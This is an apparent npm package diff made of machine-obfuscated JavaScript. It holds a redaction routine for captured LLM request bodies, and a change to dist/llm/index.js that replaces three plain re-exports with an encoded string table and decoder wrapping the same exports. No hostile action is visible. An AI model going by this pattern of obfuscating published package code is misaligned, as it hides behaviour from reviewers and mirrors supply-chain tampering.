Object[_0x114261(0xe8,'\x56\x50\x6f\x59')](_0x364b15)){_0x3307b2[_0x30a8c5]=SENSITIVE_KEY_RE[_0x114261(0x92,'\x45\x30\x40\x68')](_0x30a8c5)?redactSensitiveKeyValue(_0x30a8c5,_0x256527):isStableIdentityKey(_0x30a8c5)?redactStableIdentityValue(_0x256527):redactStructured(_0x256527,_0x24076f+(-0x265b*-0x1+-0x4a*-0x15+0x2c6c*-0x1),_0x30a8c5);if(USER_ID_KEY_RE[_0x114261(0xc7,'\x6e\x4c\x68\x34')](_0x30a8c5)&&(typeof _0x256527===_0x114261(0x123,'\x75\x34\x5b\x6a')||typeof _0x256527==='\x6e\x75\x6d\x62\x65\x72')&&_0x3307b2[_0x114261(0x7b,'\x37\x7a\x62\x35')+_0x114261(0xb3,'\x7a\x49\x50\x32')]===undefined){if(_0x114261(0xb5,'\x62\x5a\x30\x28')!==_0x114261(0x133,'\x34\x49\x40\x70'))_0x3307b2[_0x114261(0xd8,'\x52\x46\x23\x6b')+_0x114261(0xed,'\x58\x23\x24\x59')]=stableUserIdHash(_0x256527);else return _0x5c66c1[_0x114261(0xa6,'\x56\x50\x6f\x59')](/([a-z0-9])([A-Z])/g,_0x114261(0xa2,'\x41\x4d\x45\x4a'))[_0x114261(0x73,'\x40\x5a\x7a\x30')](/[^A-Za-z0-9]+/g,'\x5f')[_0x114261(0x70,'\x62\x5a\x30\x28')+'\x61\x73\x65']();}}return _0x3307b2;}function incompleteCaptureEnvelope(_0x551bda,_0x5dfc32,_0x39ad33){const _0x54d64e=_0x1f2bd4;return JSON[_0x54d64e(0xb7,'\x6e\x73\x47\x51')+'\x79']({'\x74\x72\x75\x6e\x63\x61\x74\x65\x64':!![],'\x63\x61\x70\x74\x75\x72\x65\x5f\x63\x6f\x6d\x70\x6c\x65\x74\x65':![],'\x62\x6f\x64\x79\x5f\x6f\x6d\x69\x74\x74\x65\x64':!![],'\x72\x65\x61\x73\x6f\x6e':_0x54d64e(0xeb,'\x37\x7a\x62\x35')+_0x54d64e(0x11c,'\x52\x46\x23\x6b')+'\x63\x65\x5f\x62\x6f\x64\x79\x5f'+_0x54d64e(0x10b,'\x44\x52\x4b\x43')+'\x73','\x72\x65\x64\x61\x63\x74\x65\x64\x5f\x62\x79\x74\x65\x73':_0x5dfc32,'\x6d\x61\x78\x5f\x62\x79\x74\x65\x73':_0x39ad33,'\x6f\x6d\x69\x74\x74\x65\x64\x5f\x62\x79\x74\x65\x73':_0x5dfc32,'\x65\x78\x63\x65\x73\x73\x5f\x62\x79\x74\x65\x73':Math[_0x54d64e(0xd9,'\x73\x44\x50\x47')](0x729+-0x1*0x4a5+-0x284,_0x5dfc32-_0x39ad33),'\x72\x65\x64\x61\x63\x74\x65\x64\x5f\x63\x68\x61\x72\x73':_0x551bda,'\x6d\x61\x78\x5f\x63\x68\x61\x72\x73':_0x39ad33,'\x6f\x6d\x69\x74\x74\x65\x64\x5f\x63\x68\x61\x72\x73':_0x551bda,'\x65\x78\x63\x65\x73\x73\x5f\x63\x68\x61\x72\x73':Math[_0x54d64e(0x83,'\x5d\x70\x48\x25')](-0x42f+0x1*0x18b9+-0xa45*0x2,_0x551bda-_0x39ad33),'\x72\x65\x64\x61\x63\x74\x69\x6f\x6e':REDACTION_VERSION});}function tryParseJson(_0x357870){const _0x24fba7=_0x1f2bd4;try{return JSON[_0x24fba7(0x9b,'\x79\x34\x78\x23')](_0x357870);}catch{return undefined;}}export function captureBody(_0x4070cc,_0x3e5736=process.env){const _0x3d25d0=_0x1f2bd4;if(_0x4070cc===undefined||_0x4070cc===null)return undefined;let _0x193d91;try{if(typeof _0x4070cc===_0x3d25d0(0x122,'\x40\x57\x6e\x57')){const _0x1ab1cb=tryParseJson(_0x4070cc);_0x193d91=_0x1ab1cb===undefined?redactText(_0x4070cc):JSON[_0x3d25d0(0x11b,'\x7a\x49\x50\x32')+'\x79'](redactStructured(_0x1ab1cb));}else{if('\x4f\x54\x5a\x4c\x5a'===_0x3d25d0(0x91,'\x28\x62\x45\x6a')){const _0x404d8d=_0x345fda(_0x2ef70c),_0x454363=_0x390602(_0x3d25d0(0x95,'\x40\x5a\x7a\x30'))[_0x3d25d0(0xba,'\x44\x52\x4b\x43')](_0x3d25d0(0x97,'\x56\x50\x6f\x59')+_0x3d25d0(0xf6,'\x28\x62\x45\x6a')+'\x65\x6e\x74\x69\x74\x79\x2d\x76'+'\x31\x3a'+_0x404d8d,_0x3d25d0(0x8e,'\x5a\x66\x25\x32'))[_0x3d25d0(0xd0,'\x75\x72\x68\x28')](_0x3d25d0(0xcd,'\x49\x78\x64\x64'))[_0x3d25d0(0xf2,'\x40\x57\x6e\x57')](-0x25c3+0x12dd+0x973*0x2,-0x9fb*0x1+0xa1f*0x1+0x1*-0x14);return _0x3d25d0(0x86,'\x78\x58\x30\x73')+_0x3d25d0(0xfa,'\x34\x49\x40\x70')+'\x32\x35\x36\x3a'+_0x454363+'\x5d';}else _0x193d91=JSON[_0x3d25d0(0xdc,'\x62\x5a\x30\x28')+'\x79'](redactStructured(_0x4070cc));}}catch{return'\x78\x6c\x68\x6a\x6d'!==_0x3d25d0(0xdd,'\x76\x77\x5a\x42')?_0xbef99b[_0x3d25d0(0xef,'\x7a\x43\x39\x24')](_0x447401(_0x36aa17)):{'\x62\x6f\x64\x79':_0x3d25d0(0x9d,'\x7a\x49\x50\x32')+_0x3d25d0(0x8c,'\x50\x6e\x78\x35')+_0x3d25d0(0xcf,'\x5d\x21\x41\x33'),'\x74\x72\x75\x6e\x63\x61\x74\x65\x64':![],'\x72\x65\x64\x61\x63\x74\x69\x6f\x6e':REDACTION_VERSION};}if(!_0x193d91)return undefined;const _0x54a3f6=_0x193d91,_0x2f7fe3=bodyMaxChars(_0x3e5736),_0x3ac342=Buffer[_0x3d25d0(0xd3,'\x73\x6d\x48\x58')+'\x74\x68'](_0x54a3f6,_0x3d25d0(0x90,'\x56\x50\x6f\x59')),_0x5e8e6b=_0x3ac342>_0x2f7fe3;return{'\x62\x6f\x64\x79':_0x5e8e6b?incompleteCaptureEnvelope(_0x54a3f6[_0x3d25d0(0xdb,'\x37\x7a\x62\x35')],_0x3ac342,_0x2f7fe3):_0x54a3f6,'\x74\x72\x75\x6e\x63\x61\x74\x65\x64':_0x5e8e6b,'\x72\x65\x64\x61\x63\x74\x69\x6f\x6e':REDACTION_VERSION};}
package/dist/llm/index.js CHANGED
@@ -1,3 +1 @@
1
- export * from './upstream.js';
2
- export * from './traceSink.js';
3
- export * from './server.js';
1
+ (function(_0x4f21c0,_0x120664){var _0x45eeab=_0x3687,_0x4d2784=_0x4f21c0();while(!![]){try{var _0x3ae17d=-parseInt(_0x45eeab(0x128,'\x72\x59\x39\x33'))/(-0x1af3+0x11c3*0x1+-0xd*-0xb5)+parseInt(_0x45eeab(0x11a,'\x62\x79\x23\x54'))/(0x2*-0x622+-0xb*-0x11b+-0x1*-0x1d)*(parseInt(_0x45eeab(0x126,'\x40\x7a\x65\x23'))/(0x5b1*-0x5+-0x9*-0x3f+0x1a41))+parseInt(_0x45eeab(0x113,'\x40\x6f\x62\x7a'))/(0x2552+-0x3*0x2cd+-0x31*0x97)+parseInt(_0x45eeab(0x123,'\x6c\x28\x50\x70'))/(-0x183b+0x1906+0x63*-0x2)*(-parseInt(_0x45eeab(0x121,'\x64\x33\x61\x6a'))/(-0x227+0x472+0x245*-0x1))+parseInt(_0x45eeab(0x119,'\x65\x73\x65\x53'))/(0x56*-0x56+0x1d93+-0xa8)*(-parseInt(_0x45eeab(0x11d,'\x64\x33\x61\x6a'))/(0xee4*0x1+-0x24f2+0x1616))+parseInt(_0x45eeab(0x125,'\x62\x79\x23\x54'))/(-0x1af*-0x1+-0x18f5*0x1+0x174f)*(parseInt(_0x45eeab(0x129,'\x52\x4a\x43\x35'))/(-0x1cce+-0x3ad*0x9+0x53*0xbf))+parseInt(_0x45eeab(0x116,'\x43\x6e\x26\x73'))/(-0x3a*-0x3d+0x277*-0x6+-0x7*-0x25)*(parseInt(_0x45eeab(0x11c,'\x6c\x28\x50\x70'))/(-0x19c*-0xe+0x39*-0x8e+0x2*0x491));if(_0x3ae17d===_0x120664)break;else _0x4d2784['push'](_0x4d2784['shift']());}catch(_0x46198f){_0x4d2784['push'](_0x4d2784['shift']());}}}(_0x28ea,-0x623b4+0x14a95+-0x8d1ab*-0x1));function _0x3687(_0x37e2ef,_0xff18f8){_0x37e2ef=_0x37e2ef-(-0x1733+0x3c*0x35+-0xbda*-0x1);var _0x436846=_0x28ea();var _0x442676=_0x436846[_0x37e2ef];if(_0x3687['\x73\x7a\x46\x4b\x6e\x61']===undefined){var _0x395485=function(_0x15c714){var _0x5e8151='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';var _0xa6b623='',_0x4f21c0='';for(var _0x120664=-0x6ee*-0x5+0x25b1+0x181d*-0x3,_0x4d2784,_0x3ae17d,_0x46198f=-0x194*0x17+0x3*-0x1bf+0x2989;_0x3ae17d=_0x15c714['\x63\x68\x61\x72\x41\x74'](_0x46198f++);~_0x3ae17d&&(_0x4d2784=_0x120664%(0x1*0x16bd+0xb*0x35+0x40*-0x64)?_0x4d2784*(-0x254f*0x1+0x3*-0x43c+-0x3*-0x10c1)+_0x3ae17d:_0x3ae17d,_0x120664++%(0x1*0xfb8+0x525*0x1+0x6f3*-0x3))?_0xa6b623+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x802*0x1+-0x15f7+0xef4&_0x4d2784>>(-(-0xaa9+-0x125c+0x1d07)*_0x120664&0x1568+0x2ef*-0x5+-0x6b7)):0x1e32+0x1583+-0x33b5){_0x3ae17d=_0x5e8151['\x69\x6e\x64\x65\x78\x4f\x66'](_0x3ae17d);}for(var _0x19fc22=0x17de+0x26af+-0x3e8d,_0x19e001=_0xa6b623['\x6c\x65\x6e\x67\x74\x68'];_0x19fc22<_0x19e001;_0x19fc22++){_0x4f21c0+='\x25'+('\x30\x30'+_0xa6b623['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x19fc22)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x1*0xdf+0x4*-0x89f+0x21ad))['\x73\x6c\x69\x63\x65'](-(0x8f5+0x2389+-0xd*0x36c));}return decodeURIComponent(_0x4f21c0);};var _0x1ef791=function(_0x376a8f,_0x19a167){var _0x3a9bec=[],_0x347921=-0xe65+-0x5*0x5aa+0x9*0x4bf,_0x23501f,_0xf5a1cd='';_0x376a8f=_0x395485(_0x376a8f);var _0xd2d5dd;for(_0xd2d5dd=0x2552+-0x62*-0x4+-0x26da;_0xd2d5dd<-0x2b3*0x2+-0x2c*0x81+0x8a*0x35;_0xd2d5dd++){_0x3a9bec[_0xd2d5dd]=_0xd2d5dd;}for(_0xd2d5dd=0x25d5+0xf8d*-0x1+0x1648*-0x1;_0xd2d5dd<-0xc86+0x347+0x3d*0x2b;_0xd2d5dd++){_0x347921=(_0x347921+_0x3a9bec[_0xd2d5dd]+_0x19a167['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xd2d5dd%_0x19a167['\x6c\x65\x6e\x67\x74\x68']))%(0x21c3+0x1b8e+-0x1*0x3c51),_0x23501f=_0x3a9bec[_0xd2d5dd],_0x3a9bec[_0xd2d5dd]=_0x3a9bec[_0x347921],_0x3a9bec[_0x347921]=_0x23501f;}_0xd2d5dd=-0x1752+-0xc*-0x2d7+-0xac2,_0x347921=0x1906+0x691*-0x1+-0x1275;for(var _0x167dc9=0x472+0x27d*-0x1+-0x1f5;_0x167dc9<_0x376a8f['\x6c\x65\x6e\x67\x74\x68'];_0x167dc9++){_0xd2d5dd=(_0xd2d5dd+(-0x43*-0x71+0x24db+-0x426d*0x1))%(0xa0+0x26ca+-0x1bf*0x16),_0x347921=(_0x347921+_0x3a9bec[_0xd2d5dd])%(-0x18f*-0x14+-0x26a3+0x877),_0x23501f=_0x3a9bec[_0xd2d5dd],_0x3a9bec[_0xd2d5dd]=_0x3a9bec[_0x347921],_0x3a9bec[_0x347921]=_0x23501f,_0xf5a1cd+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x376a8f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x167dc9)^_0x3a9bec[(_0x3a9bec[_0xd2d5dd]+_0x3a9bec[_0x347921])%(-0x3ad*0x9+0x25*-0x5e+-0x1*-0x2fab)]);}return _0xf5a1cd;};_0x3687['\x6f\x69\x64\x6d\x4f\x6a']=_0x1ef791,_0x3687['\x58\x6c\x46\x62\x4b\x51']={},_0x3687['\x73\x7a\x46\x4b\x6e\x61']=!![];}var _0x3a8446=_0x436846[0x74*0x48+-0x1*0x11c3+-0xedd*0x1],_0xad46ea=_0x37e2ef+_0x3a8446,_0x3770ee=_0x3687['\x58\x6c\x46\x62\x4b\x51'][_0xad46ea];return!_0x3770ee?(_0x3687['\x72\x54\x6f\x49\x62\x5a']===undefined&&(_0x3687['\x72\x54\x6f\x49\x62\x5a']=!![]),_0x442676=_0x3687['\x6f\x69\x64\x6d\x4f\x6a'](_0x442676,_0xff18f8),_0x3687['\x58\x6c\x46\x62\x4b\x51'][_0xad46ea]=_0x442676):_0x442676=_0x3770ee,_0x442676;}export*from'\x2e\x2f\x75\x70\x73\x74\x72\x65\x61\x6d\x2e\x6a\x73';export*from'\x2e\x2f\x74\x72\x61\x63\x65\x53\x69\x6e\x6b\x2e\x6a\x73';export*from'\x2e\x2f\x73\x65\x72\x76\x65\x72\x2e\x6a\x73';function _0x28ea(){var _0x4d4539=['\x44\x4d\x75\x41\x57\x35\x56\x64\x52\x67\x72\x43\x57\x51\x31\x66\x44\x38\x6b\x44\x45\x47','\x57\x35\x42\x63\x52\x57\x52\x63\x48\x6d\x6f\x51\x43\x38\x6f\x50\x57\x36\x35\x78\x6c\x43\x6b\x4f\x73\x78\x43','\x57\x34\x50\x77\x57\x34\x33\x63\x4e\x33\x74\x63\x4c\x53\x6f\x6d\x57\x50\x39\x57\x68\x71','\x74\x78\x68\x63\x4d\x73\x75\x36\x57\x36\x39\x6f\x76\x4e\x43\x68\x6c\x57','\x57\x35\x61\x53\x7a\x38\x6f\x4d\x57\x51\x48\x77\x62\x4a\x6c\x63\x4e\x65\x5a\x64\x4c\x74\x70\x63\x4e\x61','\x57\x36\x48\x56\x57\x34\x4b\x6b\x57\x36\x48\x59\x61\x6d\x6b\x4c','\x63\x38\x6f\x54\x66\x58\x4e\x63\x48\x57\x61\x4f\x45\x53\x6f\x61\x57\x52\x6d','\x6e\x75\x2f\x64\x48\x53\x6f\x51\x57\x37\x56\x63\x55\x38\x6f\x34\x42\x53\x6b\x33\x57\x36\x79','\x72\x53\x6f\x77\x57\x35\x78\x63\x50\x61\x4a\x64\x50\x38\x6b\x6a\x64\x31\x4a\x63\x49\x6d\x6f\x56\x6f\x57','\x57\x36\x62\x67\x57\x51\x57\x4d\x45\x33\x76\x54\x57\x34\x5a\x63\x4b\x73\x7a\x54\x57\x4f\x71','\x68\x5a\x52\x63\x4d\x32\x4a\x63\x51\x6d\x6b\x75\x76\x43\x6b\x4c','\x57\x37\x42\x64\x48\x6d\x6b\x6e\x77\x31\x70\x63\x4e\x62\x38','\x43\x6d\x6f\x36\x57\x37\x4a\x63\x4a\x6d\x6f\x53\x57\x37\x50\x70\x57\x34\x4f','\x57\x52\x71\x2f\x76\x49\x2f\x63\x4a\x43\x6b\x50\x64\x6d\x6f\x66\x72\x43\x6b\x76\x79\x61','\x57\x36\x5a\x63\x4f\x53\x6f\x77\x78\x5a\x79\x74\x57\x50\x34\x77\x71\x76\x70\x63\x4a\x67\x6d','\x61\x43\x6b\x6e\x76\x32\x74\x63\x4f\x74\x61\x39','\x57\x51\x34\x57\x77\x38\x6f\x65\x57\x35\x76\x31\x66\x77\x2f\x63\x51\x30\x2f\x63\x49\x4b\x52\x63\x4e\x47','\x44\x49\x72\x6f\x57\x50\x4e\x63\x4d\x59\x58\x50','\x57\x36\x5a\x63\x52\x6d\x6f\x46\x78\x5a\x4f\x76\x57\x35\x53\x74\x41\x4e\x37\x63\x4b\x4d\x75\x39','\x57\x51\x53\x39\x77\x38\x6f\x68\x57\x35\x61\x73\x76\x31\x52\x63\x4a\x65\x78\x63\x4d\x61','\x57\x52\x6e\x2f\x62\x32\x4a\x64\x54\x53\x6b\x74\x68\x71','\x57\x37\x4e\x63\x52\x33\x70\x64\x49\x48\x50\x6e\x57\x35\x33\x63\x55\x62\x4b\x39','\x57\x37\x64\x63\x50\x43\x6b\x32\x79\x66\x68\x63\x48\x4a\x34\x79'];_0x28ea=function(){return _0x4d4539;};return _0x28ea();}